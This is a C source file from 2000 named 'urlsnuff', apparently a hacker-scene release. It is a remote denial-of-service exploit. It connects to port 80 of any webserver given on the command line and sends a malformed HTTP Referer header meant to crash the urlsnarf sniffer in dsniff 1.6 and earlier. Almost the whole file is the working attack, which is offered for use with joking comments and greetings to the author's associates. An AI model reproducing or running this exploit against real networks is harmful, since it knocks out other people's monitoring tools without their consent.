/*
 * public release date: 03/16/2000
 *
 * "They're after me Lucky Charmz" - Happy Irish Day [3/17/2000]
 * so i'm celebrating the day before too...  uNF =P
 * 
 * urlsnuff - stupid remote urlsnarf dos attack (works on dsniff <=1.6)
 * by obecian <obecian@celerity.bartoli.org>
 *
 * notes: i decided to look at dugsongs code and was playing with urlsnarf
 * and noticed something amusing -- yeah so it's lame - it's still effective
 * urlsnarf will die if it sees this malformed combination of HTTP Requests
 * i'm sure there's other combinations, but i'm out of time, and i discovered
 * this completely on accident
 *
 * greetz: cripto, bind, ph1x, quakemstr, curq, kgbud, arethusa ssh irc krew,
 * openbsd core team (you guys kick ass!), and everyone else i forgot
 *
 */

#define TITLE "urlsnuff - urlsnarf snuffer (works on dsniff <= 1.6)"
#define CODER "(c) 2000 obecian <obecian@celerity.bartoli.org>"

#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

void usage(char *);

int
main(int argc, char **argv)
{
  int numbytes;
  int sock;  
  struct sockaddr_in sin;
  struct hostent *he;
  char buffsnuff[1024];  
  char *webserver;
  if (argc < 2) {usage(argv[0]); exit(1);}
  webserver = argv[1];
  if ((he = gethostbyname(webserver)) == NULL)
    {herror("gethostbyname"); exit(1);}
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {perror("socket"); exit(1);}
  sin.sin_family = AF_INET;
  sin.sin_port = htons(80);
  sin.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(sin.sin_zero), 8);
  printf("connecting to arbitrary webserver...\n");
  if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {perror("connect"); exit(1);}
  printf("throwing amusement =*)\n");
  /* we send a legitimate prefix so urlsnarf deals with it, but then we take
    advantage and give it an inappropriate suffix and BARF - we see our
    friend mr. segfault */
    snprintf(buffsnuff, sizeof(buffsnuff), "Referer: http://celerity.bartoli.org\r\n\r\n");
  if ((write(sock, &buffsnuff, sizeof(buffsnuff)))<0) {perror("write");
    exit(1);}
  printf("urlsnarf seg request thrown... sniffer be gone\n\n");
  close(sock);
  exit(0);
}

void
usage(char *arg)
{
  putchar('\n'); puts(TITLE); puts(CODER); putchar('\n');
  printf("usage: %s <arbitrary webserver>\n", arg);
  return;
}